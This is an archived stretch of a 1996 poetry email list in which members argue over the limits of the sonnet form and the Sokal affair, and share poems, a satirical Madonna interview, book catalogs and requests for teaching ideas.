Dear Joe Amato, Your analysis of the ST/NYT/Sokal/Ross/Fish event pushes the oppositions and debates to a trenchant level of anti-intentional lucidity that may prove helpful: I admire your support and application of "the literary" as something that canny and innovative-- to miss this power of form and force would be for Bove/Ross to be asleep at the wheel. I quess you made me feel a bit like an "unreconstructed Marxist" (okay by me at times) barking at the "ludic post-modernity" of discursive flimflam game and careerist miming (here the lapsed Catholic Marxism of Wilson and Bove and Pease et al kicks in, seeing "sins" and "crimes" of omission/commission, deformations of the American subject-ego by professional self-serving capital).

To amp up the moral dimension as such, "Sin" can be a matter of living with and covertly endorsing the deformations and injustices of capital because the "symbolic engineers" (Ross to Sokal, no outside to this, humanities to social

science in elite forms) keep winning at this two-tier language game too (b2 is not outside this at all: Duke UP packing more "fetish quality per pound" in their books/journals as the NY Times put it last year in their annual size up the MLA horseshit piece).

I am not surethere is anywhere to go with your oppositions though, except in the same (overdetermined, institutionally constrained) directions? "Sokal in So-cal" gives you some estrangement distance on the event, but that LA Times editorial was not so helpful in its sermon as your discriminating "literary" critique. Regards, Rob Wilson

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559. **Annie Finch**
***Re: Nonset Form***
*Wed 29 May 1996*

---

Hi steve! I'm all for stretching sonnets, but if things are stretched too much they sometimes start to show holes.  My feeling is that that is starting to happen with the sonnet. And if it starts falling apart, there will be nothing to stretch anymore.

--Annie

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560. **Edward Foster**
***Re: russ/american poetry conf***
*Wed 29 May 1996*

---

the poet at the russian/american conference who read/sang over the tape of spoken words was vadim mesyats. his work has not been widely published yet in english versions, but there will be a volume of his selected works in translation published by talisman this fall. he has a quite substantial reputation in russia, and some of his songs have infiltrated that world so well that they are sung without the singer's necessarily knowing who wrote them. that's true recognition, when the poem is better known than the poet. it's the kind of recognition that any genuine poet obviously must prefer. --ed foster

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561. **Annie Finch**
***Re: Poem of Weeping Ghosts in Sonnet Form***
*Wed 29 May 1996*

---

Esteemed Jd, right honorable courtiers,

It would be tempting to --it is tempting to --paraphrase Housman and say that i can no more define a sonnet than a terrier can define a r at, but I know one when I see it. But that would be simplistic and begging your honorable question. wq. I guess I would, honestly, define a sonnet as a poem in 14 lines of ip with a such-and-such rhyme scheme  or any variations of it.  Obviously the variations are theoretically infinite and shade off into other kinds of poems taht are not sonnets; I had a very hard time editing a "A FORMAL FEELING COMES for this reason, but I did feel that there was a difference between the poems that were actually doignn something, some variation, WITHIN the sonnet form, and those that were USING the sonnet form for its poignant cultural connotations. I used the "structured by conspicuous repetition" definition as a way of trying to codify that difference at the time; now I am becoming more interested in the philospohical/aesthetic/perhaps even ethical dimensions of the distinction.

"Poem of Weeping Ghosts in Sonnet Form" is a marvellous poem that gets a lot of its marvels from the evocation of the sonnet in the title. Without the title, as in virtually all of Mayer's SONNETS, the only aspect of the poem evocative of the sonnet form is the number of lines. I think the "Poem of Weeping Ghosts" is a poem ABOUT the sonnet, but not a sonnet. My definition of the sonnet is a poem that honestly takes on the technical challenges and lenges and  limitations of the form as it has evolved over the centuries--always in flux, certainly. The poststructuralist use of the form seems to me to make a real technical leap into into a sort of metapoetic use fo the form, in fact a sort of colonization of it from the outside.  To me such poems are not sonnets, however deeply and provocatively they engage with the idea fo the sonnet.

.

, however, s, wher ethe form is a  .

eh aht  This is asking a lot of the title.

sonnets, you oramarguments
 eh soaht .  df nsetMaybe the question of
convention versus procedure a wh

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562. **Louis Cabri**

***Re: chax books***

*Wed 29 May 1996*

---

On the subject of Karen Mac Cormack's books, the one book of hers not so far mentioned, and unfortunately not to my knowledge available other than second-hand, is her first: Nothing By Mouth, published, I think, in 1984, and not by Chax.

And not to not plug Steve McCaffery's latest book of poetry, it's just out from ECW Press in Toronto: The Cheat of Words. Includes poems some may have seen over the years in excerpted form in West Coast Line, hole, and other mags, and unpublished early pieces.

Louis

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563. **Steve Carll**
***Re: Nonset Form***
*Wed 29 May 1996*

---

At 03:23 PM 5/29/96 -0500, you wrote:
>Hi steve!
>I'm all for stretching sonnets, but if things are stretched too much they
>sometimes start to show holes.  My feeling is that that is starting to happen
>with the sonnet. And if it starts falling apart, there will be nothing to
>stretch anymore.
>
>--Annie

I wouldn't worry about it, Annie: everyone in England thought the sonnet form was exhausted in 1595, and it's still with us 401 years later!

||||||

recognition that even if communication itself were 100% communicable, this is no guarantee that we'd be any closer to social justice in any practical sense...

anyway: there's no place to go that's not institutional, no, but that doesn't exactly or entirely speak to why one writes, or how one writes (as you know)... i mean, i might be hallucinating at the moment, just imagining that you're following me hereabouts... or i may very well be forgoing dinner to post you, though admittedly it's doubtful that i'm going w/o food for the night due to lack of pocket money (i would venture that most on poetics are with me here)... nor does the institutional per se speak to the contribution one may be making to one's fictional or actual community (term used advisedly) of readers, if one is or believes oneself to be so endowed ...

which i say by way of saying that there's no one way, no one method, no one aesthetic that works (or that pleases, or that feeds), even if there may well be causes or platforms or positions or programs that are more acceptable given corresponding local and global circumstances... and that, whether utopian or materialist or happy-go-lucky or ?, it may do and do well to consider alterations in our way of speaking talking exchanging (letters or pixels), to consider writing against as well as with whatever grain (incl. the critical), even if doing so does little in in/direct correlative terms to relieve, for example, human suffering in general... am i preaching to the choir here?... so then, i preach to the choir...

in the critical context, writing and reading with a more literary sense of the possibilities attendant to same may contribute to (if not result in) a better social transaction, even a better professional context, provided one is willing to write and read thus with the understanding that "better" means tentative, means local, means circumstantial, is a function of how meaning is made of whatever by whomever; and, yes, may contribute to (if not result in) worse too, worse so delimited... emphasis on *may*, due allowance made for systemic-discursive (incl. capitalist and professional) evils... and due allowance made for (to trope) the paradox of those artistic practices that speak against any such progress-ive discourse, that hazard appearing out of step completely with the whole critical shebang (mself, i'll bump heads with such writers/artists on occasion, but this is no necessary indication of the quality or usefulness of their writings)...

which i guess is just another way of saying that risks must be taken... and that some we needs to continue to seek and construct ways of developing and maintaining new and various fora that are conducive to taking risks... that the literary---and here my particular plug for diverse poetics, along with diverse publics---that the literary, as a contested site of alphabetic culture that often operates on and at the margins of experience (and all that this means under, to steal from your post, current sociocultural deformations of the subject), may represent not simply a set of institutional/cultural values of one sort or the

other, but ways of confronting these values with an eye (ok---i) toward understanding the (often painful) necessity of revaluation...

i mean, for those so inclined...

all best, & w/o sounding too nietzschean, i trust,

joe

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565. **Wystan Curnow**
***Re: Nonset Form***
*Wed 29 May 1996*

---

Hi Annie,
look i'm as worried as anyone about things falling apart. But the truth is there's always something to stretch, and an little more stretch in everything. Soak it in milk overnight.
Wystan

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566. **Gary Hawkins**
***Re: Nonset Form***
*Wed 29 May 1996*

---

On 5-29-96 Annie Finch wrote:

> *Hi steve!*
> *I'm all for stretching sonnets, but if things are stretched too much they sometimes start to show holes. My feeling is that that is starting to happen with the sonnet. And if it starts falling apart, there will be nothing to stretch anymore.*
>
> *--Annie*

If a thing has holes in it, I think we should know about it. What's called "anomaly" in science is called "rebellion" in poetry-- either way revolutions do happen.

The English dumped the Italian sonnet once they realized it's easier to rhyme in Italian. American rhymes even less.

Besides, once a form's been done, why do it again for anything other than practice, to prove you can do it?

laura c/o [redacted]

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567. **Annie Finch**
***Re: Poem of Weeping Ghosts (oops--corrected)***
*Wed 29 May 1996*

---

Dear Rob,

I am glad to see your lucid and graceful explanation of how the contours, argument, diction, compression, and other less quantifiable aspects of the sonnet form can be "legitimately" engaged (the judicial subtext continues) as a means of extending the sonnet tradition. The argument is persuasive and of course intriguing, tempting in its simplicity: there is no difference, ultimately, in all the different things that "sonnent" means to us; all can be engaged in, with, equally, and the form will still be living. But I have trouble fuzzing the perhaps-too-obvioius distinction between the form as commonly understood and its less tangible attributes.  A poem is an embodied thing, to me, embodied in its actual words, rhythms, stanzas, rhymes, phrases.  It has a spirit too, but to engage with the spirit seems to me a definitely different thing than to engage with th e body, just as to engage with the spirit or idea of a dead or absent person is different than engaging with the actual living body and presence of the person.

I am intaerested in your work on forms and will phone tomorrow probably. Is there a form you would like to edit a section on, since this is a composite anthology of different sections on forms?

--Annie F.

typosoupwehreaarouble .
 qu n the es the tn  fo teh wu

↑ Index

568. **Annie Finch**
***Re: Nonset Form***
*Thu 30 May 1996*

---

Dear Steve,

Your feeling that the sonnet will still be around no matter how we treat it reminds me of how people used to feel about the ocean, the ozone, ad the old-growth forests.  A form is a living thing in my book and needs sustainable care.

Annie

 .vagfeole

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569. **Thomas Bell**
***Re: Music City sonnet***
*Thu 30 May 1996*

> *bantering martians hope for glory*
> *we committed literary piracy on the high seas*
> *Al left Billie Joe Cat found the path to*
> *hunger large as scaredy free-throw*
> *underground stone guitar blue uniformed blow*
> *mouth on double-cross diploma clue*
> *a world without nouns is healthy?*
> *sequined sequels quells*
> *primacy recency a magnificat its own*
> *catorziemme and quattrocento etc*
> *and minnie pearl and conway twitty*
> *a dirge enough for Solent murk*
> *too much robing and screeing*
> *the voice of an angel and the soul of*
> *blue few, grow a garage band*
> *glue bag a branding fag wagered row*
> *Sue the crew could count, although*

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570. **William Marsh - 3809183**
***Re: Nonset Form***
*Thu 30 May 1996*

i once had a teacher who defined the sonnet as a "short fat know-it-all"

a genuine pomo sonnet would probably be most concerned with taking that def to task

-- a fellow know-it-all-ateer

bmarsh

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571. **Jerry Rothenberg**
***Re: Poem of Weeping Ghosts in Sonnet Form***
*Thu 30 May 1996*

> *, however, s, wher ethe form is a*

> *eh aht  This is asking a lot of the title.*
>
> *sonnets, you oramarguments*
> *eh soaht . df nsetMaybe the question of*
> *convention versus procedure a wh*

dear Annie Finch --

I was startled & delighted to see this coming at the end of one of your notes & similar but more condensed constructions at the end of others. Is there a method here too that turns the ordinary into the extraordinary -- something that the machine (in its own way) is trying to tell us?  It is, anyway, a remarkable statement on sonnets, something that wraps it all up.

Jerome Rothenberg
[redacted]

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572. **Kenneth Goldsmith**
***Madonna***
*Thu 30 May 1996*

---

> *I AM A TIP-TOP STARLET*
> *In Which Something Is Lost, But Much Is Gained, In The Translation*
>
> *GARRY TRUDEAU*
>
> *When the huge Evita production company blew into Budapest last month to rent its ancient architecture, Madonna, the film's star, was much too busy staying in character to meet with the local press. Finally, on the eve of her departure, good manners prevailed, and the pop diva submitted to an interview with the Budapest newspaper Blikk. The questions were posed in Hungarian, then translated into English for Madonna, whose replies were then translated back into Hungarian for the paper's exclusive. Shortly thereafter, at the request of USA Today, Madonna's comments were then retranslated from Hungarian back into English for the benefit of that paper's readers.  To say that something was lost in the process is to be wildly ungrateful for all that was gained. "I am a woman and not a test-mouse!" reads a typical quote. USA Today, presumably pressed for space, published only a few of these gems, leaving the rest to the imagination, whence has sprung the following complete transcript:*
>
> *Blikk:*
>
> *Madonna, Budapest says hello with arms that are spread-eagled. Did*

> *you have a visit here that was agreeable?  Are you in good odor? You are the biggest fan of our young people who hear your musical productions and like to move their bodies in response.*
>
> *Madonna:*
>
> *Thank you for saying these compliments [holds up hands]. Please stop with taking sensationalist photographs until I have removed my garments for all to see [laughs]. This is a joke I have made.*
>
> *Blikk:*
>
> *Madonna, let's cut toward the hunt: Are you a bold hussy-woman that feasts on men who are tops?*
>
> *Madonna:*
>
> *Yes, yes, this is certainly something that brings to the surface my longings. In America it is not considered to be mentally ill when a woman advances on her prey in a discotheque setting with hardy cocktails present. And there is a more normal attitude toward leather play-toys that also makes my day.*
>
> *Blikk:*
>
> *Is this how you met Carlos, your love-servant who is reputed? Did you know he was heaven-sent right off the stick? Or were you dating many other people in your bed at the same time?*
>
> *Madonna:*
>
> *No, he was the only one I was dating in my bed then, so it is a scientific fact that the baby was made in my womb using him. But as regards these questions, enough! I am a woman and not a test-mouse! Carlos is an everyday person who is in the orbit of a star who is being muscle-trained by him, not a sex machine.*
>
> *Blikk:*
>
> *May we talk about your other "baby," your movie, then? Please do not be denying that the similarities between you and the real Evita are grounded in basis. Power, money, tasty food, Grammys -- all these*

> *elements are afoot.*
>
> *Madonna:*
>
> *What is up in the air with you?  Evita never was winning a Grammy!*
>
> *Blikk:*
>
> *Perhaps not. But as to your film, in trying to bring your reputation along a rocky road, can you make people forget the bad explosions of Who's That Girl? and Shanghai Surprise?*
>
> *Madonna:*
>
> *I am a tip-top starlet. That is my job that I am paid to do.*
>
> *Blikk:*
>
> *O.K., here's a question from left space: What was your book Slut about?*
>
> *Madonna:*
>
> *It was called Sex, my book.*
>
> *Blikk:*
>
> *Not in Hungary. Here it was called Slut. How did it come to publish? Were you lovemaking with a man-about-town printer? Do you prefer making suggestive literature to fast-selling CDs?*
>
> *Madonna:*
>
> *These are different facets to my career highway. I am preferring only to become respected all over the map as a 100% artist.*
>
> *Blikk:*
>
> *There is much interest in you from this geographic region, so I must ask this final questions: How many Hungarian men have you dated*

> *in bed? Are they No. 1? How are they comparing to Argentine men, who are famous for being tip-top as well?*
>
> *Madonna:*
>
> *Well, to avoid aggravating global tension, I would say it's a tie [laughs]. No, no, I am serious now. See here, I am working like a canine all the way around the clock! I have been too busy even to try the goulash that makes your country one for the record books.*
>
> *Blikk:*
>
> *Thank you for your candid chitchat.*
>
> *Madonna:*
>
> *No problem, friend who is a girl.*

Kenneth Goldsmith
http://wmfu.org/~kennyg

↑ Index

## 573. Carnography
### *(un)becoming "literary" in ST &: Is this better?*
*Thu 30 May 1996*

---

Joe:

Forwarded (because they were public) your public ruminations to my esteemed occasional colleague, Colin Raff, and *this* was his reply.

Personally, I'm beginning to know how dyslexics feel (esp. Mr. Derrida). Will respond to your orig. post as soon as I get Colin's version out of my ears.

Inclusively,

Rob (possibly the wrong Rob, for all I know) Hardin

PS: If you're in NYC this summer, come see "Tableau"--poss. at Jackie 60--a play that Colin and I wrote to illustrate our curriculum for The University for Combating Degenerate Aesthetics. We drive our points home with several aesthetically-rewarding decapitation scenes--all simulated, of course.

A further aesthetic note: At the end of the play, we write *I Am Fun* across the bellies of students who prove too weak to survive. Such are the charms of deadly Darwinian aesthetics.

Bring your batons, friends. But germ warfare is strictly forbidden.

---

> *From: Joe Amato <[redacted]>*
> *Subject: Re: (un)becoming "literary" in ST &*
> *To: Multiple recipients of list POETICS <[redacted]>*

"Represent" not simply a set of institutional/cultural values of one sort or the other, but ways of confronting these values with an eye (ok---i) toward understanding the (often painful) necessity of revaluation. A contribution one may be making to one's fictional or actual community (term used advisedly) of readers, if one is or believes oneself to be so endowed (academic and other) institutional realities & such like, is not helped at all by the recognition that even if communication itself were 100% communicable, this is no guarantee that we'd be any closer to social justice in any practical sense.

Anyway: there's no place to go that's not institutional, no, but that doesn't exactly or entirely speak to why one writes, or how one writes (as you know)... i mean, i might be hallucinating at the moment, just imagining that you're following me hereabouts... or i might very well be forgoing dinner to post you, though admittedly it's doubtful that i'm going w/o food for the night due to lack of pocket. Dear--how to say this as uncontortedly as possible?--i'm always feeling as though i can't drop my (theoretical) guard when it comes to talking theory & money (i would venture that most are with me here)... nor does the institutional per se speak to the critical context, writing and reading with a more literary sense of the possibilities attendant to same, per se, that may contribute to (if not result in) a better social transaction--

...

--which i say by way of saying that there's no one way, no one method, no one aesthetic, that works (or that pleases, or that feeds), even if there may well be causes or platforms or positions or programs that are more acceptable given corresponding local and global circumstances, whether utopian or materialist of whatever by whomever; and, yes, may contribute to (if not result in) worse too--worse so delimited--emphasis on *may*, due allowance made, for systemic-discursive or happy-go-lucky or ?

It may do and do well to consider alterations in our way of speaking talking exchanging (letters or pixels), to consider writing against as well as with whatever grain (incl. the critical), even if doing so does little in in/direct correlative terms

to relieve, for example, human suffering in general... am i preaching to the choir here?... so then, i preach to the choir...

In the even-better professional context--provided one is willing to write and read that--the literary, as a contested site of alphabetic culture that often operates on and at the margins of experience (and all that this means under, to steal from your post, current sociocultural deformations of the subject), may thus, with the understanding that "better" means tentative, means local, means circumstantial, is a function of how meaning is made (incl. capitalist and professional) evils. Due allowance made, i guess this is just another way of saying that risks must be taken.

Us needs to continue to seek and construct ways of developing and maintaining new and various fora that are conducive to taking risks that the literary---and here's my particular plug for diverse poetics, along with diverse publics---for (to trope) the paradox of those artistic practices that speak against any such progressive discourse, that hazard appearing out of step completely with the whole critical shebang (mself, i'll bump heads with such writers/artists on occasion, but this is no necessary indication of the quality or usefulness of their writings)...

i mean, for those so inclined...

all best, & w/o sounding too joean, i trust,

nietzsche

<toward the end>

<< end of forwarded material >>

↑ Index

## 574. Carnography
### *Re: Poem of Weeping Ghosts (oops--corrected)*
*Thu 30 May 1996*

---

Annie:

> *The argument is persuasive and of course intriguing, tempting in its simplicity: there is no difference, ultimately, in all the different things that "sonnent" means to us; all can be engaged in, with, equally, and the form will still be living.*

This is good work, Annie, but this is not what I said. There *are* distinct differences between standard and non-standard sonnets. But there are subtler classifications to be noted beyond those two. Some modern sonnets are really "sonnets" (though pomo has rendered the quotes unnecessary). Much of what is called experimental in the stricter sense is as patterned and marmoreal as any

neoclassical Dryden. And much of what was written in the transitional stages of history remains radically experimental to this day.

> *But I have trouble fuzzing the perhaps-too-obvioius distinction between the form as commonly understood and its less tangible attributes.*

In a Shakespearean sonnet, syntax, diction and compression are demonstrably "tangible." A seventeenth-century sonnet can be analyzed in purely rhetorical terms. Such aspects of the sonnet might not be *as* commonly understood as its rime-scheme and meter. But that doesn't mean they are too obscure to be understood.

> *A poem is an*
> *embodied thing, to me, embodied in its actual words, rhythms, stanzas, rhymes, phrases. It has a spirit too, but to engage with the spirit seems to me a definitely different thing than to engage with th e body, just as to engage with the spirit or idea of a dead or absent person is different than engaging with the actual living body and presence of the person.*

Would you say that Kandinsky killed, or failed to maintain, the spirit of representional painting simply because he chose another visual language? And what about Picasso, who systematically distorted the representational? Sonata-allegro form crystalized in the work of Haydn, Mozart and early Beethoven. But what about Beethoven's late sonatas, which were to sonata- allegro form what post-war Nagasaki is to the original city? Should Beethoven's late sonatas have been called something else?

What about the obsessive mosaic sonatas of Robert Schumann?
And what about the Silent Sonata of John Cage?
Should these have been called something else
because the old forms didn't apply?

Isn't the best way to revitalize an old form to write in it yourself? Why proscribe newer prosodic definitions--why delimit the do's and better-not's--of *sonnet* for other poets with other approaches?

A free-verse poet might not want to call a poem by another name than *sonnet*, just as an abstract painter might choose to refer to a ring of concentric circles and a splotch of paint as _Still Life #17_. I might debate whether or not the connection, the allusion, works in each individual case. But that doesn't mean formally allusive poems are *interchangeable* with Miltonic sonnets. What it means is this: in modern poetic practice, *sonnet* does not merely refer to standard rhyme-schemes and forms. If you don't believe me, I suggest you consult _The Princeton Encyclopedia of Poetry and Poetics_.

(Literal-minded approaches to form? Somewhere, there is a performance poet who has replaced the sonnet's rhyme-scheme and meter with non- sequitur facial expressions. Someone else has written sonnet-generating software.

Someone else has built a two-room house in the shape of a Petrarchan sonnet. After all, the word *stanza* is Italian for *room*.)

I appreciate and respect your arguments in favor of preserving the conventional sonnet. However, I choose to argue in favor of preserving the *study of prosody itself* rather than some stage of development within the life of a particular form. I thought Rothenberg's joke was pretty astute: The train of type at the end of your post--of leftover cut-and-paste fragments--provided a newer kind of prosody and another variant of critical perception. Such accidents are not interchangeable with the sensibility you're attempting to sharpen. But they are worth looking at. Many might prove to be important--as have the sequences of freer sonneteers like Ted Berrigan.

> *I am intaerested in your work on forms and will phone tomorrow probably. Is there a form you would like to edit a section on, since this is a composite anthology of different sections on forms?*
>
> *--Annie F.*

Thanks for your kind offer. I'll be home to take your call after six p.m.

All the best,

Rob Hardin

↑ Index

575. **Chris Stroffolino**
***Re: Nonset Form***
*Thu 30 May 1996*

---

Palindrome: "Ten No's: A Sonnet"---
Shakespeare wrote at least one 12 line one...
Oh no, some YAHOO just won in Israel (gotta run)

↑ Index

576. **Daniel Bouchard**
***Re: Nonset Form***
*Thu 30 May 1996*

---

Annie Finch wrote:

Your feeling that the sonnet will still be around no matter how we treat it reminds me of how people used to feel about the ocean, the ozone, ad the old-growth forests.  A form is a living thing in my book and needs sustainable care.

_____

Annie Finch:

Your analogy that poets who experiment with traditional forms like the sonnet are simliar to some people's reckless attitude towards the environment is in poor taste and flat-out wrong. One is NOT like the other no matter how closely you associate the two. Actually, the statement is more telling about your own uptight attitude where poetry is concerned; a denial of change, innovation and real creativity. (You did not address the point that Steve made.)

A poetic form may be a "living thing" but it is not eligible for the endangered species list. If you are looking to give something "sustainable care" then look into the global danger surrounding frogs and other amphibians. When these die out they are gone forever. When YOUR definition of a sonnet dies out, someone elses' may still be flourishing.

[redacted]

↑ Index

## 577. Steven Clay
### *poetry books & magazines*
*Thu 30 May 1996*

---

Granary Books in NewYork has just issued a catalog of some 650 out-of-print literary magazines and poetry books mostly from the 1970's and forward. The prices are very affordable. Some of the writers and magazines listed (to give a general idea) include:

Clark Coolidge, Adventures in Poetry (& Larry Fagin), Charles Bernstein, 'L=A=N=G=U=A=G=E', 'The World', Bernadette Mayer, Vito Acconci, '0 to 9,' Kathy Acker, Jackson Mac Low, 'Roof,' Jerome Rothenberg, 'A Hundred Posters,' 'United Artists,' Alice Notley, Ted Berrigan, 'This,' John Giorno, Ron Padgett among many, many, many others.

Serious readers are welcome to have a copy of the catalog. Please send me an E-mail request with your name and address.

Thank you.

Steve Clay
Granary Books 568 Broadway Suite 403, NYC 10012
[redacted]
[redacted]

↑ Index

578. **Joe Amato**
***Re: (un)becoming "literary" in ST &: Is this better?***
*Thu 30 May 1996*

---

rob, yes, i've got colin's hack in *my* ears at the moment... i esp. like how theory & money end up so close together in his version...

tell him i sd thanx!...

best,

joe

↑ Index

579. **David Baratier**
***Au pur delice sans chemin (1)***
*Thu 30 May 1996*

---

Henri & Jd

Ses purs ongles tres haut dediant leur onyx,
L'Angoisse, ce minuit, soutient, lampadore,
Maint reve vesperal brule par le Phenix
Que ne recueille pas de cineraire amphore.

Francoise Baratier

↑ Index

580. **jms**
***request for exercises about place***
*Thu 30 May 1996*

---

I have to teach a how-to-teach poetry workshop in a week or so about the theme of place. It is for the Bard L & T program where the emphasis is on experimental writing approaches (a lot of the assignments resemble things on the EPC experiments list).

Does anyone have any ones related to the theme/idea of place in particular that they have heard of/used?

Rod Smith gave me a good one from  Burroughs (?) about having people go out and write down everything they see in a particular color. The lesson being the collage like nature of experiental experience. Am I telling this right?

If anyone has any and they back channel them to me, I can post to list or interested individuals when I compile list.

Also having to teach a fiction workshop next year. Anyone done this? I need ideas and exercises and syllabi. Same thing, if you have, send to me and I will repost or resend.

Thanks lots.

Juliana Spahr

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581. **Jill A Mccartney**
***Re: Nonset Form***
*Thu 30 May 1996*

---

just thought Gertrude Stein's "sonnet"--which is embedded in "Patriarchal Poetry"--would be an apt grace note for this discussion.

A SONNET

To the wife of my bosom
All happiness from everything
And her husband.
May he be good and considerate
Gay and cheerful and restful.
And make her the best wife
In the world
The happiest and the most content
With reason.
To the wife of my bosom
Whose transcendent virtues
Are those to be most admired
Loved and adored and indeed
Her virtues are all inclusive
Her virtues her beauty and her beauties
Her charms her qualities her joyous nature
All of it makes of her husband
A proud and happy man.

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582. **David Baratier**
***Tomorrow, Friday, may 31st***
*Thu 30 May 1996*

---

A booglit benefit reading

Featured Readers:
Todd Colby
David Baratier
Bill Luoma
Dan WIlcox

Also Chris Stroffolino and Chris Butters are slated.

Booglit will be publishing a number of limited edition chapbooks for the reading, including _Compartments (a short run)_ by David Baratier

@ Luna Park
Friday May 31st @ 7:30 pm
249 Fifth Ave.
Brooklyn, NY
(Between Carroll Street and Garfield Place)

For folks who are unfamiliar with Booglit, the present editorial staff is:

Michael Basinski: Buffalo, NY
David Baratier: Philadelphia, PA
Dan Wilcox: Albany, NY
Rod Smith: Washington, DC
Lee Ann Brown: Boulder, CO
Dan Bouchard: Boston, MA

Booglit is a community focused publication where the editors for the various cities contribute material on area writers and events in each issue. One city is chosen to be the featured city of each issue. A third of the publication space is dedicated to the featured city.

Authors of other chapbooks availiable from Booglit include:

Lee Anne Brown, Laynie Browne, Amiri Baraka,
Bill Shields & Eliot Richmond, Barry Gifford,
Marc Ducharme, Ed Saunders, and many others.

For a full catalog send an SASE to
Booglit / PO Box 221 / Oceanside, NY 11572-0221

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## 583. David Baratier
### *nonset environmentally destructive form*
*Thu 30 May 1996*

---

A fabric of slow writhing

My dark quiet hand dreams this house a whisper
of the quiet wire circles. In coffee rings
around the hallway I wake into night. The disparagement
of numbers lingers in the line, as if we all were
set down by your receiver in a wood-grain sacrifice.
A stain that morning ago. A violin sound on the telephone
where we were years by and a voice comes up
hoping it would hear us again, for the briefest
instant of re-assurance. Things are well here
always have been though the weather is amazing
with a wind you wouldn't believe. We miss shaking
on the porch to the same elements, the strength
of your torso against. In the same way your memory
could be sending a nightgown without.

from logodaedalus
One of the series of Compartments

David Baratier

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584. **Burt Kimmelman**
***The Twentieth Century***
*Thu 30 May 1996*

---

From: ADMIN::KIMMELMAN "Burt Kimmelman [redacted]" 29-MAY-1996 16:41:01.12
To: MX%"[redacted]"
CC: KIMMELMAN
Subj: The Twentieth Century

I'm writing to ask for help:

I am slated to teach an interdisciplinary course called "The Twentieth Century World"; the course is global in scope, and must contain three areas of intense investigation, three modules. The "modules" i have in mind are: Japan, 1912-1917; England 1939-1945; and, Sub-Saharan Africa from about 1985 or so to the present. I need to start the course with an overview so that each of the modules makes sense in context. The readings for the modules are to be primary materials. I'm wondering if anyone knows of a good, globally oriented, short book or long essay on the 20th Century I could use for the overview. Other suggestions, particularly though not limited to the following would also be welcome: a novel written by someone English during WW II or at least by someone English about WW II; a contemporary novel written by a Sub- Saharan African. I've got Japan pretty much covered but would love to have suggestions there

too. The primary readings are not to be limited to "high" literature such as fiction. Government documents or whatever from the relevant period, for instance, are quite acceptable.

Any suggestions, then?

Gratefully,

Burt Kimmelman
[redacted]

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585. **Steve Carll**
***Re: Nonset Form***
*Thu 30 May 1996*

---

> *Annie Finch wrote:*
>
> *Your feeling that the sonnet will still be around no matter how we treat it reminds me of how people used to feel about the ocean, the ozone, ad the old-growth forests. A form is a living thing in my book and needs sustainable care.*
>
> _____

I have to go with Daniel Bouchard on this one. Annie, you get upset when people equate your literary politics with your social ones, so why resort to a cheap shot like that?

All form is impermanent. Sorry, but everything changes, and especially forms made of language, which is perpetually re-created by millions of people speaking who have different ideas about what's what.

A poem-as-living-thing analogy I could buy, but form doesn't exist by itself, it's always the "form that a poem takes." If the poem wants to change its form, that's evolution at work. If a child is born with 12 toes instead of ten, we don't say it no longer fits the definition of _Homo sapiens_ (at least, I hope no one would say so.)

To me, form is a means to an end, the end being to create a work that can engage the psyche at a deep level and make some contribution to its liberation. A poem whose only end is to fit someone's definition of a form is just showing off. (If I were feeling really pissy, I could draw an analogy between people who overvalue form and people who have lots of plastic surgery, but that would put us back into the inappropriate simile trap.)

**********

Steve Carll
[redacted]

"--A sound of waters bending astride the sky
Unceasing with some Word that will not die...!"
--Hart Crane
**********

↑ Index

586. **Alan Golding**
***Michael Ondaatje***
*Thu 30 May 1996*

---

Associate Professor of English, U. of Louisville
Phone: [redacted]; e-mail: [redacted]

Does anyone have e-mail / snail mail / phone number information for Michael Ondaatje? (Any or all of these would help.) Backchannel is fine.

Thanx in advance,

Alan

↑ Index

587. **Rod Smith**
***Re: request for exercises about place***
*Thu 30 May 1996*

---

Juliana-- It's called "walking on colors"-- have students walk a city block or a country mile paying attention as much as possible to one color of their choosing, & then write about it. Burroghs talks about this somewhere-- one thing it can lead to is a realization that "collage" is the norm, a shared characteristic, a color, is nevertheless diffuse, inconstant, piecemeal. It's also just an attention trick-- to get one to look carefully at the situation(s). I saw a map Bernadette used in a St Mark's workshop which gave a route for students to walk. I think they were supposed to buy something, & come back & give it away. . .

Rod

---
Juliana Spahr wrote:

I have to teach a how-to-teach poetry workshop in a week or so about the theme of place. It is for the Bard L & T program where the emphasis is on experimental writing approaches (a lot of the assignments resemble things on the EPC experiments list).

Does anyone have any ones related to the theme/idea of place in particular that they have heard of/used?

Rod Smith gave me a good one from  Burroughs (?) about having people go out and write down everything they see in a particular color. The lesson being the collage like nature of experiental experience. Am I telling this right?

If anyone has any and they back channel them to me, I can post to list or interested individuals when I compile list.

Also having to teach a fiction workshop next year. Anyone done this? I need ideas and exercises and syllabi. Same thing, if you have, send to me and I will repost or resend.

Thanks lots.

Juliana Spahr

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## 588. Chris Stroffolino
### *just thought you'd want to see this*
*Thu 30 May 1996*

---

From:  IN%"[redacted]"  "Discussion of Contemporary American Poetry" 30-MAY-1996 13:23:50.36 To:  IN%"[redacted]"  "Multiple recipients of list CAP-L" CC: Subj:  Creeley's Place (fwd)

by cnsvax.albany.edu (PMDF V5.0-7 #8051)
id <[redacted]> for [redacted]; Thu,
30 May 1996 13:23:00 -0400 (EDT)
with BSMTP id 5932; Thu, 30 May 1996 12:19:12 -0500 (CDT)
with TCP; Thu, 30 May 1996 12:19:11 -0500 (CDT)
30 May 1996 12:20:54 -0500
with spool id 22002 for [redacted]; Thu, 30 May 1996 12:20:53 -0500
30 May 1996 12:20:32 -0500
30 May 1996 12:20:31 -0500
Date: Thu, 30 May 1996 12:20:29 -0500
From: CAP-L <[redacted]>
Subject: Creeley's Place (fwd)
To: Multiple recipients of list CAP-L <[redacted]>
Approved-By: CAP-L <[redacted]>

---------- Forwarded message ----------
Date: 29 May 1996 14:12:52 U
From: GrahamD <[redacted]>
To: CAP-LIST <[redacted]>
Subject: Creeley's Place

Prompted by recent discussion, I've been happily re-reading Creeley and some of the critical responses to his work. One striking fact is that his work has been respectfully attended to by a wide variety of other poets proceeding from very different aesthetic stances--everyone from Robert Bly to Thom Gunn, Donald Hall to Ron Silliman. To be sure, Creeley's aversion to the heroic (noted by Silliman, among others), as well as his notably skeptical intelligence, seem to have helped provoke some penetrating critiques even from admirers.

I find RC's work highly uneven. Many poems are little biting gems (such as the renowned "I Know A Man"), while others strike me as mere finger exercises, opaque or trivial notations. An instance of opacity, which opens the poem "To And":

To and
back and forth
direction
is a third

or simple fourth
of the intention
like it
goes and goes.

And here's a poem I would call trivial, "A Piece" in its entirety:

One and
one, two,
three.

